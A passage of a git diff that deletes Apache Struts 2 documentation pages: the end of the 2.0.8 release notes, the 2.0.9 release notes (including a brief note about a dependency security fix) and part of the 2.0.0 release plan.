-<h2 id="ReleaseNotes2.0.8-DocumentationChangesandAdditions">Documentation Changes and Additions</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/result-configuration.html#ResultConfiguration-DynamicResults">Dynamic Results</a></li><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/extending-an-application-with-custom-plugins.html">Extending an Action with Custom Plugins</a></li><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/why-do-i-get-a-javaxelelexception-when-using-ognl-with-js [...]
-
-
-<h2 id="ReleaseNotes2.0.8-InternalChanges">Internal Changes</h2>
-
-<ul><li>Updated XWork dependency to 2.0.3</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.8-MigrationfrompreviousReleases">Migration from previous Releases</h2>
-
-<p>If a custom validators.xml configuration file is used as a global validator<br clear="none">
-configuration, the file needs to be adjusted.<br clear="none">
-The validation configuration is now validated against the following DTD:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>&lt;!DOCTYPE validators PUBLIC
-         "-//OpenSymphony Group//XWork Validator Config 1.0//EN"
-         "http://www.opensymphony.com/xwork/xwork-validator-config-1.0.dtd"&gt;
-</pre>
-</div></div>
-<p>Furthermore it is no longer required, that all default validators need to be copied<br clear="none">
-over into a customized validators.xml configuration.<br clear="none">
-Just override existing (those from default) with a custom implementation or extend<br clear="none">
-it with custom configurations.</p>
-
-<h2 id="ReleaseNotes2.0.8-ExperimentalFeaturesandPlugins">Experimental Features and Plugins</h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="cookie-interceptor.html">Cookie Interceptor</a>: Inject cookie with a certain configurable name / value into action (since 2.0.7) (<a shape="rect" class="unresolved" href="#">WW-1678</a>).</li><li><a shape="rect" href="portlet-tutorial-webwo [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.8-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21801">JIRA Release Notes 2.0.8 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21796">JIRA Release Notes 2.0.7 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.js [...]
-
-
-<h3 id="ReleaseNotes2.0.8-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10782">Struts 2.0.8 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10781">Struts 2.0.8 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.8-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.8-ReleasePlan">Release Plan</h2>
-
-<ul><li>Struts 2.0.8 is a milestone version in the 2.0.x series. Struts 2.0.6 is the prior GA release.</li><li>The Release Manager is Rainer Hermanns.</li><li>The tag date for the release is 6 June 2007, circa 6pm CEST.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-209.html b/content/docs/release-notes-209.html
deleted file mode 100644
index c788e52..0000000
--- a/content/docs/release-notes-209.html
+++ /dev/null
@@ -1,210 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.9</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-209.html">Release Notes 2.0.9</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.9</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56795">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56795">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56795">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56795">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56795">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56795">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.9 distribution.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Struts 2.0.9 corrects a serious security flaw in one of our dependencies. All users are encouraged to update to Struts 2.0.9 or to utilize the <a shape="rect" class="external-link" href="http://opensymphony.com/xwork/download.action" rel="nofollow">XWork 2.0.4 JAR</a>  [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-208.html">Release Notes 2.0.8</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.9&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.9-SignificantFixes">Significant Fixes </h2>
-
-<ul><li>This release utilizes XWork 2.0.4 which prevents OGNL evaluations of user input.</li><li>For other changes, see the <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21832">JIRA release notes</a>.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.9-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="cookie-interceptor.html">Cookie Interceptor</a>: Inject cookie with a certain configurable name / value into action (since 2.0.7) (<a shape="rect" class="unresolved" href="#">WW-1678</a>).</li><li><a shape="rect" href="portlet-tutorial-webwo [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.9-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21832">JIRA Release Notes 2.0.9 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21801">JIRA Release Notes 2.0.8 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.js [...]
-
-
-<h3 id="ReleaseNotes2.0.9-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10811">Struts 2.0.9 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10810">Struts 2.0.9 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.9-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul>
-
-
-<h2 id="ReleaseNotes2.0.9-ReleasePlan">Release Plan </h2>
-
-<ul><li>Struts 2.0.9 is a milestone version in the 2.0.x series. Struts 2.0.8 is the prior GA release.</li><li>The Release Managers are James Holmes and Ted Husted.</li><li>The tag date for the release is 23 July 2007.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-plan-200.html b/content/docs/release-plan-200.html
deleted file mode 100644
index 76c7bd8..0000000
--- a/content/docs/release-plan-200.html
+++ /dev/null
@@ -1,265 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Plan 2.0.0</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-plan-200.html">Release Plan 2.0.0</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Plan 2.0.0</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19602">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19602">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19602">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><ul><li>Struts 2.0.0 is preparing a "early adopter" build.</li><li>Codebase seems feature-complete.</li><li>Documentation issues remain.</li><li>Example issues remain.</li><li>Assembly/distribution issues remain.</li></ul>
-
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For resolved issues, see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10680">Struts 2.0.0 DONE</a> in the issue tracker. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For pending issues (if any) see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10681">Struts 2.0.0 TODO</a> in the issue tracker. </p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> For known issues, see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10682">Struts 2.0.1 TODO</a></p>
-
-<h2 id="ReleasePlan2.0.0-OverallStatus">Overall Status</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> Initial rename of packages and configuration files </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> Complete </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name=" [...]
-
-
-<h2 id="ReleasePlan2.0.0-DocumentationStatus">Documentation Status</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> Step 1 - Setup new Confluence instance </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> Complete </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="( [...]
-
-
-<h2 id="ReleasePlan2.0.0-AdditionalBackground">Additional Background</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://issues.apache.org/struts/browse/WW-1349">Struts 2.0.0 omnibus ticket</a></li><li><a shape="rect" class="external-link" href="http://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21510">Issue Tracker</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Propos [...]
-
-
-<h2 id="ReleasePlan2.0.0-ReleaseManager">Release Manager</h2>
-
-<p>The release manager is <strong>Ted Husted</strong>.</p>
-<ul><li>See also <a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></li></ul>
-
-
-
-<h2 id="ReleasePlan2.0.0-SpecialIssues">Special Issues</h2>
-
-<p>Struts 2.0 is based on the WebWork 2 codebase. Essentially, Struts 2.0 will be the technical equivalent of WebWork 2.3. (The WebWork 2 codebase was accepted into the Struts project through the <a shape="rect" class="external-link" href="http://incubator.apache.org/projects/webwork2.html">Apache Incubator</a>.) </p>
-
-<p>For Struts 2.0, the core goals are to repackage the codebase as an Apache Struts product and to provide migration resources for Struts 1 and WW 2 developers. A few legacy API elements will be removed, and a few new features will be added. </p>
-
-<p>The Struts 2.0 release is following the <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Proposal</a>. Struts 2.0 is Phase 1 of the proposal. A subsequent Struts release series (either Struts 2.1 or Struts 3.0) will address Phase 2 of the proposal.</p>
-
-<p>Struts 2.0.0 is targeting August 2006 as a relaxed distribution date.</p>
-
-<p>The platform for Struts 2.0.x is Java 1.5, with Java 1.4 compatibity provided by <a shape="rect" class="external-link" href="http://retrotranslator.sourceforge.net/" rel="nofollow">RetoTranslator</a>.</p>
-
-<p>See also <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsAction2">Struts 2</a>.</p>
-
-<h2 id="ReleasePlan2.0.0-NewFeaturesUnderConsideration">New Features Under Consideration</h2>
-
-<p>This initial list of new features is taken from the <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/RoughSpots">Struts 2 Rough Spots</a> page.</p>
-
-<h3 id="ReleasePlan2.0.0-ReviewandRefinement">Review and Refinement</h3>
-
-<ul><li>Separate classes that most applications need to use. Isolate classes that the framework uses internally or that are rarely used by applications.  (See Rough Spot #3.)</li><li>Distinguish between the published public versus private APIs. (See Rough Spot #4.)</li><li>Utilize properties (methods) instead of protected or public fields (). (See #13.)</li><li>Review exception handling. Some are still being swallowed rather than rethrown. (See #20 and <a shape="rect" class="unresolved"  [...]
-
-
-<h3 id="ReleasePlan2.0.0-Modifications">Modifications</h3>
-
-<ul><li>Simplify TextProvider. (See #15.)</li><li>Modify ParametersInterceptor to sort parameter names by depth (using bucket sort) and then map them in that order (shallowest first). (See #21.)</li><li>Use the strategy pattern to swap in different implementations of interfaces like ValidationAware. (See Tim, NTH #1.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.0-DeprecationsandRemovals"><a shape="rect" class="unresolved" href="#">Deprecations and Removals</a></h3>
-
-<ul><li>Deprecate or remove the AroundInterceptor. (See #7.)</li><li>Eliminate "do" clause for Action alias lookups. Scan Actions at load time for known aliases, and fail fast.</li><li>Eliminate "default" alias (which relied on "doAlais").</li></ul>
-
-
-<h3 id="ReleasePlan2.0.0-Architecture">Architecture</h3>
-
-<ul><li>Address the confusing issue of the validation/workflow lifecycle and different methods. (See Patrick #4.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.0-Configuration">Configuration</h3>
-
-<ul><li>Add support for type aliasing (a la Spring and iBATIS) to reduce or eliminate need to use fully-qualified class names, over and over. The fully-qualified type is declared once, and then a simple type "nickname" can be used instead. (See #23.)</li><li>Combine configuration DTDs so that Actions, Messages, and Validators can be defined in a single file. (See Ted, #1.)</li><li>Use values on the stack to override/define configuration options. (See Tim, NTH #3.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.0-OGNL">OGNL</h3>
-
-<ul><li>On the OGNL value stack, rename #request for request parameters and #requestAttributes for request attributes. (See #17 and <a shape="rect" class="unresolved" href="#">WW-785@ww</a>.)</li><li>Work with OGNL to add Java 5 support. (See #31.)</li><li>Work with OGNL to make it a clear superset of JSTL. (See Gabe #4.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.0-Struts1FeaturestoImplement"><a shape="rect" class="unresolved" href="#">Struts 1 Features to Implement</a> </h3>
-
-<ul><li>Wildcard Action Mappings (Done in XWork 2)</li><li><span style="text-decoration: line-through;">DynaForm as Model Object (including <a shape="rect" class="external-link" href="http://forums.opensymphony.com/thread.jspa?messageID=67350&amp;#67350" rel="nofollow">LazyDynaForms</a>)</span></li><li>Extends for action mappings (See Tim, NTH #2.)</li><li>Change the default submit method for the form tag from GET to POST (See Ted, #2.)</li><li><a shape="rect" class="unresolved" href="#" [...]
-
-
-<h2 id="ReleasePlan2.0.0-OutstandingIssueReview">Outstanding Issue Review</h2>
-
-<p><a shape="rect" class="external-link" href="http://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21510">Struts 2.0.0 Issues</a></p>
-
-<h2 id="ReleasePlan2.0.0-TestingChecklist">Testing Checklist</h2>
-
-<h3 id="ReleasePlan2.0.0-TestingSummary">Testing Summary </h3>
-
